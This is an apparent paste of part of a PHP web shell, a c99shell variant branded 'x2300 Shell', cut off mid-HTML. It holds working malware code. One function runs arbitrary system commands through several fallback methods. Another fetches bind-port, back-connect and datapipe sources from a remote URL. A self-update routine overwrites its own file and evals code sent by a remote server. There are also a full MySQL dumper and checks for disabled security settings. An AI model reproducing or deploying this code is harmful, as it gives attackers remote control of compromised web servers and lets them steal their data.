  608. @fputs($w_file,@base64_decode($text));
  609. @fclose($w_file);
  610. }
  611. }*/
  612. /*function err($n,$txt='')
  613. {
  614. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>';
  615. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  616. if(!empty($txt)) { echo " $txt"; }
  617. echo '</b></div></font></td></tr></table>';
  618. return null;
  619. }*/
  620. @set_time_limit(0);
  621. $tmp = array();
  622. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  623. $s = "!^(".implode("|",$tmp).")$!i";
  624. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://sniperxcode.com/\">x2300 Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  625. if (!empty($login))
  626. {
  627. if (empty($md5_pass)) {$md5_pass = md5($pass);}
  628. if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  629. {
  630. if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |<br>"," ",$donated_html));}
  631. header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  632. header("HTTP/1.0 401 Unauthorized");
  633. exit($accessdeniedmess);
  634. }
  635. }
  636. if ($act != "img")
  637. {
  638. $lastdir = realpath(".");
  639. chdir($curdir);
  640. if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
  641. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  642. if (!is_array($sess_data)) {$sess_data = array();}
  643. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  644. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  645.  
  646. $disablefunc = @ini_get("disable_functions");
  647. if (!empty($disablefunc))
  648. {
  649. $disablefunc = str_replace(" ","",$disablefunc);
  650. $disablefunc = explode(",",$disablefunc);
  651. }
  652.  
  653. if (!function_exists("c99_buff_prepare"))
  654. {
  655. function c99_buff_prepare()
  656. {
  657. global $sess_data;
  658. global $act;
  659. foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  660. foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  661. $sess_data["copy"] = array_unique($sess_data["copy"]);
  662. $sess_data["cut"] = array_unique($sess_data["cut"]);
  663. sort($sess_data["copy"]);
  664. sort($sess_data["cut"]);
  665. if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  666. else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  667. }
  668. }
  669. c99_buff_prepare();
  670.  
  671. if (!function_exists("c99_sess_put"))
  672. {
  673. function c99_sess_put($data)
  674. {
  675. global $sess_cookie;
  676. global $sess_data;
  677. c99_buff_prepare();
  678. $sess_data = $data;
  679. $data = serialize($data);
  680. setcookie($sess_cookie,$data);
  681. }
  682. }
  683. foreach (array("sort","sql_sort") as $v)
  684. {
  685. if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  686. if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  687. }
  688. if ($sort_save)
  689. {
  690. if (!empty($sort)) {setcookie("sort",$sort);}
  691. if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  692. }
  693. if (!function_exists("str2mini"))
  694. {
  695. function str2mini($content,$len)
  696. {
  697. if (strlen($content) > $len)
  698. {
  699. $len = ceil($len/2) - 2;
  700. return substr($content, 0,$len)."...".substr($content,-$len);
  701. }
  702. else {return $content;}
  703. }
  704. }
  705. if (!function_exists("view_size"))
  706. {
  707. function view_size($size)
  708. {
  709. if (!is_numeric($size)) {return FALSE;}
  710. else
  711. {
  712. if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  713. elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  714. elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  715. else {$size = $size . " B";}
  716. return $size;
  717. }
  718. }
  719. }
  720. if (!function_exists("fs_copy_dir"))
  721. {
  722. function fs_copy_dir($d,$t)
  723. {
  724. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  725. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  726. $h = opendir($d);
  727. while (($o = readdir($h)) !== FALSE)
  728. {
  729. if (($o != ".") and ($o != ".."))
  730. {
  731. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  732. else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  733. if (!$ret) {return $ret;}
  734. }
  735. }
  736. closedir($h);
  737. return TRUE;
  738. }
  739. }
  740. if (!function_exists("fs_copy_obj"))
  741. {
  742. function fs_copy_obj($d,$t)
  743. {
  744. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  745. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  746. if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  747. if (is_dir($d))
  748. {
  749. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  750. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  751. return fs_copy_dir($d,$t);
  752. }
  753. elseif (is_file($d)) {return copy($d,$t);}
  754. else {return FALSE;}
  755. }
  756. }
  757. if (!function_exists("fs_move_dir"))
  758. {
  759. function fs_move_dir($d,$t)
  760. {
  761. $h = opendir($d);
  762. if (!is_dir($t)) {mkdir($t);}
  763. while (($o = readdir($h)) !== FALSE)
  764. {
  765. if (($o != ".") and ($o != ".."))
  766. {
  767. $ret = TRUE;
  768. if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  769. else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  770. if (!$ret) {return $ret;}
  771. }
  772. }
  773. closedir($h);
  774. return TRUE;
  775. }
  776. }
  777. if (!function_exists("fs_move_obj"))
  778. {
  779. function fs_move_obj($d,$t)
  780. {
  781. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  782. $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  783. if (is_dir($d))
  784. {
  785. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  786. if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  787. return fs_move_dir($d,$t);
  788. }
  789. elseif (is_file($d))
  790. {
  791. if(copy($d,$t)) {return unlink($d);}
  792. else {unlink($t); return FALSE;}
  793. }
  794. else {return FALSE;}
  795. }
  796. }
  797. if (!function_exists("fs_rmdir"))
  798. {
  799. function fs_rmdir($d)
  800. {
  801. $h = opendir($d);
  802. while (($o = readdir($h)) !== FALSE)
  803. {
  804. if (($o != ".") and ($o != ".."))
  805. {
  806. if (!is_dir($d.$o)) {unlink($d.$o);}
  807. else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  808. }
  809. }
  810. closedir($h);
  811. rmdir($d);
  812. return !is_dir($d);
  813. }
  814. }
  815. if (!function_exists("fs_rmobj"))
  816. {
  817. function fs_rmobj($o)
  818. {
  819. $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  820. if (is_dir($o))
  821. {
  822. if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  823. return fs_rmdir($o);
  824. }
  825. elseif (is_file($o)) {return unlink(html_entity_decode($o));}
  826. else {return FALSE;}
  827. }
  828. }
  829. if (!function_exists("myshellexec"))
  830. {
  831. function myshellexec($cmd)
  832. {
  833. global $disablefunc;
  834. $result = "";
  835. if (!empty($cmd))
  836. {
  837. if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  838. elseif (($result = `$cmd`) !== FALSE) {}
  839. elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  840. elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  841. elseif (is_resource($fp = popen($cmd,"r")))
  842. {
  843. $result = "";
  844. while(!feof($fp)) {$result .= fread($fp,1024);}
  845. pclose($fp);
  846. }
  847. }
  848. return $result;
  849. }
  850. }
  851. if (!function_exists('tabsort')) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
  852. if (!function_exists('view_perms'))
  853. {
  854. function view_perms($mode)
  855. {
  856. if (($mode & 0xC000) === 0xC000) {$type = "s";}
  857. elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  858. elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  859. elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  860. elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  861. elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  862. elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  863. else {$type = "?";}
  864.  
  865. $owner["read"] = ($mode & 00400)?"r":"-";
  866. $owner["write"] = ($mode & 00200)?"w":"-";
  867. $owner["execute"] = ($mode & 00100)?"x":"-";
  868. $group["read"] = ($mode & 00040)?"r":"-";
  869. $group["write"] = ($mode & 00020)?"w":"-";
  870. $group["execute"] = ($mode & 00010)?"x":"-";
  871. $world["read"] = ($mode & 00004)?"r":"-";
  872. $world["write"] = ($mode & 00002)? "w":"-";
  873. $world["execute"] = ($mode & 00001)?"x":"-";
  874.  
  875. if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  876. if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  877. if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  878.  
  879. return $type.join("",$owner).join("",$group).join("",$world);
  880. }
  881. }
  882. if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  883. if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  884. if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  885. if (!function_exists("parse_perms"))
  886. {
  887. function parse_perms($mode)
  888. {
  889. if (($mode & 0xC000) === 0xC000) {$t = "s";}
  890. elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  891. elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  892. elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  893. elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  894. elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  895. elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  896. else {$t = "?";}
  897. $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  898. $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  899. $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  900. return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  901. }
  902. }
  903. if (!function_exists("parsesort"))
  904. {
  905. function parsesort($sort)
  906. {
  907. $one = intval($sort);
  908. $second = substr($sort,-1);
  909. if ($second != "d") {$second = "a";}
  910. return array($one,$second);
  911. }
  912. }
  913. if (!function_exists("view_perms_color"))
  914. {
  915. function view_perms_color($o)
  916. {
  917. if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  918. elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  919. else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  920. }
  921. }
  922. if (!function_exists("c99getsource"))
  923. {
  924. function c99getsource($fn)
  925. {
  926. global $c99sh_sourcesurl;
  927. $array = array(
  928. "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  929. "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  930. "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  931. "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  932. "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  933. "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
  934. );
  935. $name = $array[$fn];
  936. if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
  937. else {return FALSE;}
  938. }
  939. }
  940. if (!function_exists("c99sh_getupdate"))
  941. {
  942. function c99sh_getupdate($update = TRUE)
  943. {
  944. $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
  945. $data = @file_get_contents($url);
  946. if (!$data) {return "Can't connect to update-server!";}
  947. else
  948. {
  949. $data = ltrim($data);
  950. $string = substr($data,3,ord($data{2}));
  951. if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
  952. if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
  953. if ($data{0} == "\x99" and $data{1} == "\x03")
  954. {
  955. $string = explode("\x01",$string);
  956. if ($update)
  957. {
  958. $confvars = array();
  959. $sourceurl = $string[0];
  960. $source = file_get_contents($sourceurl);
  961. if (!$source) {return "Can't fetch update!";}
  962. else
  963. {
  964. $fp = fopen(__FILE__,"w");
  965. if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
  966. else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
  967. }
  968. }
  969. else {return "New version are available: ".$string[1];}
  970. }
  971. elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
  972. else {return "Error in protocol: segmentation failed! (".$data.") ";}
  973. }
  974. }
  975. }
  976. if (!function_exists("mysql_dump"))
  977. {
  978. function mysql_dump($set)
  979. {
  980. global $shver;
  981. $sock = $set["sock"];
  982. $db = $set["db"];
  983. $print = $set["print"];
  984. $nl2br = $set["nl2br"];
  985. $file = $set["file"];
  986. $add_drop = $set["add_drop"];
  987. $tabs = $set["tabs"];
  988. $onlytabs = $set["onlytabs"];
  989. $ret = array();
  990. $ret["err"] = array();
  991. if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  992. if (empty($db)) {$db = "db";}
  993. if (empty($print)) {$print = 0;}
  994. if (empty($nl2br)) {$nl2br = 0;}
  995. if (empty($add_drop)) {$add_drop = TRUE;}
  996. if (empty($file))
  997. {
  998. $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  999. }
  1000. if (!is_array($tabs)) {$tabs = array();}
  1001. if (empty($add_drop)) {$add_drop = TRUE;}
  1002. if (sizeof($tabs) == 0)
  1003. {
  1004. // retrive tables-list
  1005. $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  1006. if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  1007. }
  1008. $out = "# Dumped by Locous7Shell.SQL v. ".$shver."
  1009. # Home page: http://www.sniperxcode.com
  1010. #
  1011. # Host settings:
  1012. # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  1013. # Date: ".date("d.m.Y H:i:s")."
  1014. # DB: \"".$db."\"
  1015. #---------------------------------------------------------
  1016. ";
  1017. $c = count($onlytabs);
  1018. foreach($tabs as $tab)
  1019. {
  1020. if ((in_array($tab,$onlytabs)) or (!$c))
  1021. {
  1022. if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  1023. // recieve query for create table structure
  1024. $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  1025. if (!$res) {$ret["err"][] = mysql_smarterror();}
  1026. else
  1027. {
  1028. $row = mysql_fetch_row($res);
  1029. $out .= $row["1"].";\n\n";
  1030. // recieve table variables
  1031. $res = mysql_query("SELECT * FROM `$tab`", $sock);
  1032. if (mysql_num_rows($res) > 0)
  1033. {
  1034. while ($row = mysql_fetch_assoc($res))
  1035. {
  1036. $keys = implode("`, `", array_keys($row));
  1037. $values = array_values($row);
  1038. foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  1039. $values = implode("', '", $values);
  1040. $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  1041. $out .= $sql;
  1042. }
  1043. }
  1044. }
  1045. }
  1046. }
  1047. $out .= "#---------------------------------------------------------------------------------\n\n";
  1048. if ($file)
  1049. {
  1050. $fp = fopen($file, "w");
  1051. if (!$fp) {$ret["err"][] = 2;}
  1052. else
  1053. {
  1054. fwrite ($fp, $out);
  1055. fclose ($fp);
  1056. }
  1057. }
  1058. if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  1059. return $out;
  1060. }
  1061. }
  1062. if (!function_exists("mysql_buildwhere"))
  1063. {
  1064. function mysql_buildwhere($array,$sep=" and",$functs=array())
  1065. {
  1066. if (!is_array($array)) {$array = array();}
  1067. $result = "";
  1068. foreach($array as $k=>$v)
  1069. {
  1070. $value = "";
  1071. if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  1072. $value .= "'".addslashes($v)."'";
  1073. if (!empty($functs[$k])) {$value .= ")";}
  1074. $result .= "`".$k."` = ".$value.$sep;
  1075. }
  1076. $result = substr($result,0,strlen($result)-strlen($sep));
  1077. return $result;
  1078. }
  1079. }
  1080. if (!function_exists("mysql_fetch_all"))
  1081. {
  1082. function mysql_fetch_all($query,$sock)
  1083. {
  1084. if ($sock) {$result = mysql_query($query,$sock);}
  1085. else {$result = mysql_query($query);}
  1086. $array = array();
  1087. while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  1088. mysql_free_result($result);
  1089. return $array;
  1090. }
  1091. }
  1092. if (!function_exists("mysql_smarterror"))
  1093. {
  1094. function mysql_smarterror($type,$sock)
  1095. {
  1096. if ($sock) {$error = mysql_error($sock);}
  1097. else {$error = mysql_error();}
  1098. $error = htmlspecialchars($error);
  1099. return $error;
  1100. }
  1101. }
  1102. if (!function_exists("mysql_query_form"))
  1103. {
  1104. function mysql_query_form()
  1105. {
  1106. global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  1107. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1108. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1109. if ((!$submit) or ($sql_act))
  1110. {
  1111. echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  1112. if ($tbl_struct)
  1113. {
  1114. echo "<td valign=\"top\"><b>Fields:</b><br>";
  1115. foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  1116. echo "</td></tr></table>";
  1117. }
  1118. }
  1119. if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  1120. }
  1121. }
  1122. if (!function_exists("mysql_create_db"))
  1123. {
  1124. function mysql_create_db($db,$sock="")
  1125. {
  1126. $sql = "CREATE DATABASE `".addslashes($db)."`;";
  1127. if ($sock) {return mysql_query($sql,$sock);}
  1128. else {return mysql_query($sql);}
  1129. }
  1130. }
  1131. if (!function_exists("mysql_query_parse"))
  1132. {
  1133. function mysql_query_parse($query)
  1134. {
  1135. $query = trim($query);
  1136. $arr = explode (" ",$query);
  1137. /*array array()
  1138. {
  1139. "METHOD"=>array(output_type),
  1140. "METHOD1"...
  1141. ...
  1142. }
  1143. if output_type == 0, no output,
  1144. if output_type == 1, no output if no error
  1145. if output_type == 2, output without control-buttons
  1146. if output_type == 3, output with control-buttons
  1147. */
  1148. $types = array(
  1149. "SELECT"=>array(3,1),
  1150. "SHOW"=>array(2,1),
  1151. "DELETE"=>array(1),
  1152. "DROP"=>array(1)
  1153. );
  1154. $result = array();
  1155. $op = strtoupper($arr[0]);
  1156. if (is_array($types[$op]))
  1157. {
  1158. $result["propertions"] = $types[$op];
  1159. $result["query"] = $query;
  1160. if ($types[$op] == 2)
  1161. {
  1162. foreach($arr as $k=>$v)
  1163. {
  1164. if (strtoupper($v) == "LIMIT")
  1165. {
  1166. $result["limit"] = $arr[$k+1];
  1167. $result["limit"] = explode(",",$result["limit"]);
  1168. if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  1169. unset($arr[$k],$arr[$k+1]);
  1170. }
  1171. }
  1172. }
  1173. }
  1174. else {return FALSE;}
  1175. }
  1176. }
  1177. if (!function_exists("c99fsearch"))
  1178. {
  1179. function c99fsearch($d)
  1180. {
  1181. global $found;
  1182. global $found_d;
  1183. global $found_f;
  1184. global $search_i_f;
  1185. global $search_i_d;
  1186. global $a;
  1187. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1188. $h = opendir($d);
  1189. while (($f = readdir($h)) !== FALSE)
  1190. {
  1191. if($f != "." && $f != "..")
  1192. {
  1193. $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  1194. if (is_dir($d.$f))
  1195. {
  1196. $search_i_d++;
  1197. if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  1198. if (!is_link($d.$f)) {c99fsearch($d.$f);}
  1199. }
  1200. else
  1201. {
  1202. $search_i_f++;
  1203. if ($bool)
  1204. {
  1205. if (!empty($a["text"]))
  1206. {
  1207. $r = @file_get_contents($d.$f);
  1208. if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  1209. if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  1210. if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  1211. else {$bool = strpos(" ".$r,$a["text"],1);}
  1212. if ($a["text_not"]) {$bool = !$bool;}
  1213. if ($bool) {$found[] = $d.$f; $found_f++;}
  1214. }
  1215. else {$found[] = $d.$f; $found_f++;}
  1216. }
  1217. }
  1218. }
  1219. }
  1220. closedir($h);
  1221. }
  1222. }
  1223. if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
  1224. //Sending headers
  1225. @ob_start();
  1226. @ob_implicit_flush(0);
  1227. function onphpshutdown()
  1228. {
  1229. global $gzipencode,$ft;
  1230. if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
  1231. {
  1232. $v = @ob_get_contents();
  1233. @ob_end_clean();
  1234. @ob_start("ob_gzHandler");
  1235. echo $v;
  1236. @ob_end_flush();
  1237. }
  1238. }
  1239. function c99shexit()
  1240. {
  1241. onphpshutdown();
  1242. exit;
  1243. }
  1244. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  1245. header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  1246. header("Cache-Control: no-store, no-cache, must-revalidate");
  1247. header("Cache-Control: post-check=0, pre-check=0", FALSE);
  1248. header("Pragma: no-cache");
  1249. if (empty($tmpdir))
  1250. {
  1251. $tmpdir = ini_get("upload_tmp_dir");
  1252. if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  1253. }
  1254. $tmpdir = realpath($tmpdir);
  1255. $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  1256. if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  1257. if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  1258. else {$tmpdir_logs = realpath($tmpdir_logs);}
  1259. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  1260. {
  1261. $safemode = TRUE;
  1262. $hsafemode = "<font color=red>ON (secure)</font>";
  1263. }
  1264. else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";}
  1265. $v = @ini_get("open_basedir");
  1266. if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";}
  1267. else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";}
  1268. $sort = htmlspecialchars($sort);
  1269. if (empty($sort)) {$sort = $sort_default;}
  1270. $sort[1] = strtolower($sort[1]);
  1271. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  1272. if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  1273. $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  1274. @ini_set("highlight.bg",$highlight_bg); //FFFFFF
  1275. @ini_set("highlight.comment",$highlight_comment); //#FF8000
  1276. @ini_set("highlight.default",$highlight_default); //#0000BB
  1277. @ini_set("highlight.html",$highlight_html); //#000000
  1278. @ini_set("highlight.keyword",$highlight_keyword); //#007700
  1279. @ini_set("highlight.string",$highlight_string); //#DD0000
  1280. if (!is_array($actbox)) {$actbox = array();}
  1281. $dspact = $act = htmlspecialchars($act);
  1282. $disp_fullpath = $ls_arr = $notls = null;
  1283. $ud = urlencode($d);
  1284. // took the disabled functions from r57shell
  1285. ?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - sniperxcode</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #cc7700; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #cc7700; scrollbar-shadow-color: #000000; scrollbar-highlight-color: #00CC00; scrollbar-3dlight-color: #00CC00; scrollbar-darkshadow-color: #cc7700; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #000000; COLOR: green; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #cc7700; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #f89521; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #f89521; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #f89521; TEXT-DECORATION: none;}A:hover { COLOR: #f89521; TEXT-DECORATION: bold;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #cc7700; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #cc7700; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #cc7700; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #cc7700; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #cc7700; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #cc7700; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #cc7700; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #cc7700;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 